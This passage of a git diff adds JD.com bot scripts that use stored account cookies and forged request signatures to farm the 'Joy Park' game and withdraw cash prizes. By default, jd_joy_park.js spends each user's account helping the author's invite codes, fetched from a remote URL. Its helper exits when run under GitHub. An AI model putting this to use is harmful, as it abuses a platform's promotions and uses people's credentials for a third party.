"X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_joy_joy_reward.ts b/jd_joy_joy_reward.ts new file mode 100644 index 0000000..05c44ac --- /dev/null +++ b/jd_joy_joy_reward.ts @@ -0,0 +1,87 @@ +/** +汪汪乐园-提现 +3 0 0 * * 5 jd_joy_joy_reward.ts +new Env('汪汪赛跑提现') + +**/ + +import {get, post, o2s, requireConfig, wait} from './function/TS_USER_AGENTS' +import {H5ST} from "./function/h5st" + +let cookie: string = '', res: any = '', UserName: string = '', fp_448de: string = '' || process.env.FP_448DE, fp_b6ac3: string = '' || process.env.FP_B6AC3 +let h5stTool: H5ST = null + +!(async () => { + let cookiesArr: string[] = await requireConfig() + for (let [index, value] of cookiesArr.entries()) { + cookie = value + UserName = decodeURIComponent(cookie.match(/pt_pin=([^;]*)/)![1]) + console.log(`\n开始【京东账号${index + 1}】${UserName}\n`) + let rewardAmount: number = 0 + try { + h5stTool = new H5ST('448de', 'jdltapp;', fp_448de) + await h5stTool.__genAlgo() + res = await team('runningMyPrize', {"linkId": "L-sOanK_5RJCz7I314FpnQ", "pageSize": 20, "time": null, "ids": null}) + rewardAmount = res.data.rewardAmount + if (res.data.runningCashStatus.currentEndTime && res.data.runningCashStatus.status === 0) { + console.log('可提现', rewardAmount) + res = await api('runningPrizeDraw', {"linkId": "L-sOanK_5RJCz7I314FpnQ", "type": 2}) + await wait(2000) + if (res.success){ + console.log(res.data.message) + } else { + console.log('提现失败:', res.errMsg) + } + }else{ + console.log('还未到提现时间') + } + } catch (e) { + console.log('Error', e) + await wait(1000) + } + } +})() + +async function api(fn: string, body: object) { + let timestamp: number = Date.now(), h5st: string = '' + if (fn === 'runningOpenBox') { + h5st = h5stTool.__genH5st({ + appid: "activities_platform", + body: JSON.stringify(body), + client: "ios", + clientVersion: "3.1.0", + functionId: "runningOpenBox", + t: timestamp.toString() + }) + } + let params: string = `functionId=${fn}&body=${JSON.stringify(body)}&t=${timestamp}&appid=activities_platform&client=ios&clientVersion=3.1.0&cthr=1` + h5st && (params += `&h5st=${h5st}`) + return await post('https://api.m.jd.com/', params, { + 'authority': 'api.m.jd.com', + 'content-type': 'application/x-www-form-urlencoded', + 'cookie': cookie, + 'origin': 'https://h5platform.jd.com', + 'referer': 'https://h5platform.jd.com/', + 'user-agent': 'jdltapp;' + }) +} + +async function team(fn: string, body: object) { + let timestamp: number = Date.now(), h5st: string + h5st = h5stTool.__genH5st({ + appid: "activities_platform", + body: JSON.stringify(body), + client: "ios", + clientVersion: "3.1.0", + functionId: fn, + t: timestamp.toString() + }) + return await get(`https://api.m.jd.com/?functionId=${fn}&body=${encodeURIComponent(JSON.stringify(body))}&t=${timestamp}&appid=activities_platform&client=ios&clientVersion=3.1.0&cthr=1&h5st=${h5st}`, { + 'Host': 'api.m.jd.com', + 'User-Agent': 'jdltapp;', + 'Origin': 'https://h5platform.jd.com', + 'X-Requested-With': 'com.jd.jdlite', + 'Referer': 'https://h5platform.jd.com/', + 'Cookie': cookie + }) +} diff --git a/jd_joy_park.js b/jd_joy_park.js new file mode 100644 index 0000000..8b20ee4 --- /dev/null +++ b/jd_joy_park.js @@ -0,0 +1,610 @@ +/* +ENV + +JOY_COIN_MAXIMIZE = 最大化硬币收益,如果合成后全部挖土后还有空位,则开启此模式(默认开启) 0关闭 1开启 + +请确保新用户助力过开工位,否则开启游戏了就不算新用户,后面就不能助力开工位了!!!!!!!!!! + +脚本会默认帮zero205助力开工位,如需关闭请添加变量,变量名:HELP_JOYPARK,变量值:false + +更新地址:https://github.com/Tsukasa007/my_script + +============Quantumultx=============== +[task_local] +#汪汪乐园养joy +20 0-23/3 * * * jd_joypark_joy.js, tag=汪汪乐园养joy, img-url=https://raw.githubusercontent.com/tsukasa007/icon/master/jd_joypark_joy.png, enabled=true + +================Loon============== +[Script] +cron "20 0-23/3 * * *" script-path=jd_joypark_joy.js,tag=汪汪乐园养joy + +===============Surge================= +汪汪乐园养joy = type=cron,cronexp="20 0-23/3 * * *",wake-system=1,timeout=3600,script-path=jd_joypark_joy.js + +============小火箭========= +汪汪乐园养joy = type=cron,script-path=jd_joypark_joy.js, cronexpr="20 0-23/3 * * *", timeout=3600, enable=true +*/ +const $ = new Env('汪汪乐园养joy'); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let hot_flag = false +const notify = $.isNode() ? require('./sendNotify') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], + cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +//最大化硬币收益模式 +$.JOY_COIN_MAXIMIZE = process.env.JOY_COIN_MAXIMIZE === '1' +$.log(`最大化收益模式: 已${$.JOY_COIN_MAXIMIZE ? `默认开启` : `关闭`} `) + +const JD_API_HOST = `https://api.m.jd.com/client.action`; +message = "" +!(async () => { + $.user_agent = require('./USER_AGENTS').USER_AGENT + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { + "open-url": "https://bean.m.jd.com/" + }); + return; + } + if (process.env.JD_JOY_PARK && process.env.JD_JOY_PARK === 'false') { + console.log(`\n******检测到您设置了不运行汪汪乐园,停止运行此脚本******\n`) + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + //$.wait(50) + // if (process.env.JOYPARK_JOY_START && i == process.env.JOYPARK_JOY_START){ + // console.log(`\n汪汪乐园养joy 只运行 ${process.env.JOYPARK_JOY_START} 个Cookie\n`); + // break + // } + hot_flag = false + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + $.maxJoyCount = 10 + await TotalBean(); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + console.log(`\n\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if ($.isNode()) { + if (process.env.HELP_JOYPARK && process.env.HELP_JOYPARK == "false") { + } else { + await getShareCode() + if ($.kgw_invitePin && $.kgw_invitePin.length) { + $.log("开始帮【zero205】助力开工位\n"); + $.kgw_invitePin = [...($.kgw_invitePin || [])][Math.floor((Math.random() * $.kgw_invitePin.length))]; + let resp = await getJoyBaseInfo(undefined, 2, $.kgw_invitePin); + if (resp.helpState && resp.helpState === 1) { + $.log("帮【zero205】开工位成功,感谢!\n"); + } else if (resp.helpState && resp.helpState === 3) { + $.log("你不是新用户!跳过开工位助力\n"); + } else if (resp.helpState && resp.helpState === 2) { + $.log(`他的工位已全部开完啦!\n`); + } else { + $.log("开工位失败!\n"); + console.log(`${JSON.stringify(resp)}`) + } + } + } + } + //下地后还有有钱买Joy并且买了Joy + $.hasJoyCoin = true + await getJoyBaseInfo(undefined, undefined, undefined, true); + $.activityJoyList = [] + $.workJoyInfoList = [] + await getJoyList(true); + await getGameShopList() + //清理工位 + await doJoyMoveDownAll($.workJoyInfoList) + //从低合到高 + await doJoyMergeAll($.activityJoyList) + await getGameMyPrize() + } + } +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()) + + +async function getJoyBaseInfo(taskId = '', inviteType = '', inviterPin = '', printLog = false) { + //await $.wait(20) + return new Promise(resolve => { + $.post(taskPostClientActionUrl(`body={"taskId":"${taskId}","inviteType":"${inviteType}","inviterPin":"${inviterPin}","linkId":"LsQNxL7iWDlXUs6cFl-AAg"}&appid=activities_platform`, `joyBaseInfo`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} getJoyBaseInfo API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (printLog) { + $.log(`等级: ${data.data.level}|金币: ${data.data.joyCoin}`); + if (data.data.level >= 30 && $.isNode()) { + await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `【京东账号${$.index}】${$.nickName || $.UserName}\n当前等级: ${data.data.level}\n已达到单次最高等级奖励\n请前往京东极速版APP查看使用优惠券\n活动入口:京东极速版APP->我的->汪汪乐园`); + $.log(`\n开始解锁新场景...\n`); + await doJoyRestart() + } + } + $.joyBaseInfo = data.data + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve($.joyBaseInfo); + } + }) + }) +} + +function getJoyList(printLog = false) { + //await $.wait(20) + return new Promise(resolve => { + $.get(taskGetClientActionUrl(`appid=activities_platform&body={"linkId":"LsQNxL7iWDlXUs6cFl-AAg"}`, `joyList`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (printLog) { + $.log(`\n===== 【京东账号${$.index}】${$.nickName || $.UserName} joy 状态 start =====`) + $.log("在逛街的joy⬇️⬇️⬇️⬇️⬇️⬇️⬇️⬇️") + for (let i = 0; i < data.data.activityJoyList.length; i++) { + //$.wait(50); + $.log(`id:${data.data.activityJoyList[i].id}|name: ${data.data.activityJoyList[i].name}|level: ${data.data.activityJoyList[i].level}`); + if (data.data.activityJoyList[i].level >= 30 && $.isNode()) { + await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `【京东账号${$.index}】${$.nickName || $.UserName}\n当前等级: ${data.data.level}\n已达到单次最高等级奖励\n请尽快前往活动查看领取\n活动入口:京东极速版APP->汪汪乐园\n更多脚本->"https://github.com/zero205/JD_tencent_scf"`); + $.log(`\n开始解锁新场景...\n`); + await doJoyRestart() + } + } + $.log("\n在铲土的joy⬇️⬇️⬇️⬇️⬇️⬇️⬇️⬇️") + for (let i = 0; i < data.data.workJoyInfoList.length; i++) { + //$.wait(50) + $.log(`工位: ${data.data.workJoyInfoList[i].location} [${data.data.workJoyInfoList[i].unlock ? `已开` : `未开`}]|joy= ${data.data.workJoyInfoList[i].joyDTO ? `id:${data.data.workJoyInfoList[i].joyDTO.id}|name: ${data.data.workJoyInfoList[i].joyDTO.name}|level: ${data.data.workJoyInfoList[i].joyDTO.level}` : `毛都没有`}`) + } + $.log(`===== 【京东账号${$.index}】${$.nickName || $.UserName} joy 状态 end =====\n`) + } + $.activityJoyList = data.data.activityJoyList + $.workJoyInfoList = data.data.workJoyInfoList + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data.data); + } + }) + }) +} + +function getGameShopList() { + //await $.wait(20) + return new Promise(resolve => { + $.get(taskGetClientActionUrl(`appid=activities_platform&body={"linkId":"LsQNxL7iWDlXUs6cFl-AAg"}`, `gameShopList`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + //排除不能购买的 + data = JSON.parse(data).data.filter(row => row.shopStatus === 1); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function doJoyMoveUpAll(activityJoyList, workJoyInfoList) { + let workJoyInfoUnlockList = workJoyInfoList.filter(row => row.unlock && row.joyDTO === null) + if (activityJoyList.length !== 0 && workJoyInfoUnlockList.length !== 0) { + let maxLevelJoy = Math.max.apply(Math, activityJoyList.map(o => o.level)) + let maxLevelJoyList = activityJoyList.filter(row => row.level === maxLevelJoy) + $.log(`下地干活! joyId= ${maxLevelJoyList[0].id} location= ${workJoyInfoUnlockList[0].location}`) + await doJoyMove(maxLevelJoyList[0].id, workJoyInfoUnlockList[0].location) + await getJoyList() + await doJoyMoveUpAll($.activityJoyList, $.workJoyInfoList) + } + else if ($.JOY_COIN_MAXIMIZE) { + await joyCoinMaximize(workJoyInfoUnlockList) + } + +} + +async function joyCoinMaximize(workJoyInfoUnlockList) { + if (workJoyInfoUnlockList.length !== 0 && $.hasJoyCoin) { + $.log(`竟然还有工位挖土?开启瞎买瞎下地模式!`); + let joyBaseInfo = await getJoyBaseInfo() + let joyCoin = joyBaseInfo.joyCoin + $.log(`还有${joyCoin}金币,看看还能买啥下地`) + let shopList = await getGameShopList() + let newBuyCount = false; + for (let i = shopList.length - 1; i >= 0 && i - 3 >= 0; i--) { //向下买3级 + if (joyCoin > shopList[i].consume) { + $.log(`买一只 ${shopList[i].userLevel}级的!`); + joyCoin = joyCoin - shopList[i].consume; + let buyResp = await doJoyBuy(shopList[i].userLevel); + if (!buyResp.success) { + break; + } else { + newBuyCount = true + $.hasJoyCoin = false + i++ + } + } + } + $.hasJoyCoin = false + if (newBuyCount) { + await getJoyList() + await doJoyMoveUpAll($.activityJoyList, $.workJoyInfoList) + await getJoyBaseInfo(); + } + } +} + +async function doJoyMoveDownAll(workJoyInfoList) { + if (workJoyInfoList.filter(row => row.joyDTO).length === 0) { + $.log(`工位清理完成!`) + return true + } + for (let i = 0; i < workJoyInfoList.length; i++) { + //$.wait(50) + if (workJoyInfoList[i].unlock && workJoyInfoList[i].joyDTO) { + $.log(`从工位移除 => id:${workJoyInfoList[i].joyDTO.id}|name: ${workJoyInfoList[i].joyDTO.name}|level: ${workJoyInfoList[i].joyDTO.level}`) + await doJoyMove(workJoyInfoList[i].joyDTO.id, 0) + } + } + //check + await getJoyList() + await doJoyMoveDownAll($.workJoyInfoList) +} + +async function doJoyMergeAll(activityJoyList) { + let minLevel = Math.min.apply(Math, activityJoyList.map(o => o.level)) + let joyMinLevelArr = activityJoyList.filter(row => row.level === minLevel); + let joyBaseInfo = await getJoyBaseInfo() + let fastBuyLevel = joyBaseInfo.fastBuyLevel + if (joyMinLevelArr.length >= 2) { + $.log(`开始合成 ${minLevel} ${joyMinLevelArr[0].id} <=> ${joyMinLevelArr[1].id} 【限流严重,5秒后合成!如失败会重试】`); + await $.wait(5000) + await doJoyMerge(joyMinLevelArr[0].id, joyMinLevelArr[1].id); + if (hot_flag) { + return + } + await getJoyList() + await doJoyMergeAll($.activityJoyList) + } else if (joyMinLevelArr.length === 1 && joyMinLevelArr[0].level < fastBuyLevel) { + let buyResp = await doJoyBuy(joyMinLevelArr[0].level, $.activityJoyList); + if (buyResp.success) { + await getJoyList(); + await doJoyMergeAll($.activityJoyList); + } else { + $.log("完成!") + await doJoyMoveUpAll($.activityJoyList, $.workJoyInfoList) + } + } else { + $.log(`没有需要合成的joy 开始买买买🛒🛒🛒🛒🛒🛒🛒🛒`) + $.log(`现在最高可以购买: ${fastBuyLevel} 购买 ${fastBuyLevel} 的joy 你还有${joyBaseInfo.joyCoin}金币`) + let buyResp = await doJoyBuy(fastBuyLevel, $.activityJoyList); + if (buyResp.success) { + await getJoyList(); + await doJoyMergeAll($.activityJoyList); + } else { + $.log("完成!") + await doJoyMoveUpAll($.activityJoyList, $.workJoyInfoList) + } + } +} + +function doJoyMove(joyId, location) { + //await $.wait(20) + return new Promise(resolve => { + $.post(taskGetClientActionUrl(`body={"joyId":${joyId},"location":${location},"linkId":"LsQNxL7iWDlXUs6cFl-AAg"}&appid=activities_platform`, `joyMove`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (location !== 0) { + $.log(`下地完成了!`); + } + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data.data); + } + }) + }) +} + +function doJoyMerge(joyId1, joyId2) { + //await $.wait(20) + return new Promise(resolve => { + $.get(taskGetClientActionUrl(`body={"joyOneId":${joyId1},"joyTwoId":${joyId2},"linkId":"LsQNxL7iWDlXUs6cFl-AAg"}&appid=activities_platform`, `joyMergeGet`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + data = {} + } else { + data = JSON.parse(data); + $.log(`合成 ${joyId1} <=> ${joyId2} ${data.success ? `成功!` : `失败!【${data.errMsg}】 code=${data.code}`}`) + // if (data.code == '1006') { + // hot_flag = true + // } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data.data); + } + }) + }) +} + +async function doJoyBuy(level, activityJoyList) { + //await $.wait(20) + return new Promise(resolve => { + $.post(taskPostClientActionUrl(`body={"level":${level},"linkId":"LsQNxL7iWDlXUs6cFl-AAg"}&appid=activities_platform`, `joyBuy`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + let codeMsg = '【不知道啥意思】' + switch (data.code) { + case 519: + codeMsg = '【没钱了】'; + break + case 518: + codeMsg = '【没空位】'; + if (activityJoyList) {//正常买模式 + $.log(`因为购买 ${level}级🐶 没空位 所以我要删掉比低级的狗了`); + let minLevel = Math.min.apply(Math, activityJoyList.map(o => o.level)) + await doJoyRecovery(activityJoyList.filter(row => row.level === minLevel)[0].id); + } + break + case 0: + codeMsg = '【OK】'; + break + } + + $.log(`购买joy level: ${level} ${data.success ? `成功!` : `失败!${data.errMsg} code=${data.code}`} code的意思是=${codeMsg}`) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function doJoyRecovery(joyId) { + return new Promise(resolve => { + $.post(taskPostClientActionUrl(`body={"joyId":${joyId},"linkId":"LsQNxL7iWDlXUs6cFl-AAg"}&appid=activities_platform`, `joyRecovery`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + data = {} + } else { + data = JSON.parse(data); + $.log(`回收🐶 ${data.success ? `成功!` : `失败!【${data.errMsg}】 code=${data.code}`}`) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function doJoyRestart() { + return new Promise(resolve => { + $.post(taskPostClientActionUrl(`body={"linkId":"LsQNxL7iWDlXUs6cFl-AAg"}&appid=activities_platform`, `joyRestart`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + $.log(`新场景解锁 ${data.success ? `成功!` : `失败!【${data.errMsg}】 code=${data.code}`}`) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function getGameMyPrize() { + return new Promise(resolve => { + $.post(taskPostClientActionUrl(`body={"linkId":"LsQNxL7iWDlXUs6cFl-AAg"}&appid=activities_platform`, `gameMyPrize`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.success && data.data) { + $.Vos = data.data.gamePrizeItemVos + for (let i = 0; i < $.Vos.length; i++) { + if ($.Vos[i].prizeType == 4 && $.Vos[i].status == 1 && $.Vos[i].prizeTypeVO.prizeUsed == 0) { + $.log(`\n当前账号有【${$.Vos[i].prizeName}】可提现`) + $.id = $.Vos[i].prizeTypeVO.id + $.poolBaseId = $.Vos[i].prizeTypeVO.poolBaseId + $.prizeGroupId = $.Vos[i].prizeTypeVO.prizeGroupId + $.prizeBaseId = $.Vos[i].prizeTypeVO.prizeBaseId + await apCashWithDraw($.id, $.poolBaseId, $.prizeGroupId, $.prizeBaseId) + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function apCashWithDraw(id, poolBaseId, prizeGroupId, prizeBaseId) { + return new Promise(resolve => { + $.post(taskPostClientActionUrl(`body={"businessSource":"JOY_PARK","base":{"id":${id},"business":"joyPark","poolBaseId":${poolBaseId},"prizeGroupId":${prizeGroupId},"prizeBaseId":${prizeBaseId},"prizeType":4},"linkId":"LsQNxL7iWDlXUs6cFl-AAg"}&_t=${+new Date()}&appid=activities_platform`, `apCashWithDraw`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.success && data.data) { + console.log(`提现结果:${JSON.stringify(data)}`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function getShareCode() { + return new Promise(resolve => { + $.get({ + url: "https://raw.fastgit.org/zero205/updateTeam/main/shareCodes/joypark.json", + headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + $.kgw_invitePin = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function taskPostClientActionUrl(body, functionId) { + return { + url: `https://api.m.jd.com/client.action?${functionId ? `functionId=${functionId}` : ``}`, + body: body, + headers: { + 'User-Agent': $.user_agent, + 'Content-Type': 'application/x-www-form-urlencoded', + 'Host': 'api.m.jd.com', + 'Origin': 'https://joypark.jd.com', + 'Referer': 'https://joypark.jd.com/?activityId=LsQNxL7iWDlXUs6cFl-AAg&lng=113.387899&lat=22.512678&sid=4d76080a9da10fbb31f5cd43396ed6cw&un_area=19_1657_52093_0', + 'Cookie': cookie, + } + } +} + +function taskGetClientActionUrl(body, functionId) { + return { + url: `https://api.m.jd.com/client.action?functionId=${functionId}${body ? `&${body}` : ``}`, + // body: body, + headers: { + 'User-Agent': $.user_agent, + 'Content-Type': 'application/x-www-form-urlencoded', + 'Host': 'api.m.jd.com', + 'Origin': 'https://joypark.jd.com', + 'Referer': 'https://joypark.jd.com/?activityId=LsQNxL7iWDlXUs6cFl-AAg&lng=113.388006&lat=22.512549&sid=4d76080a9da10fbb31f5cd43396ed6cw&un_area=19_1657_52093_0', + 'Cookie': cookie, + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1" + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch 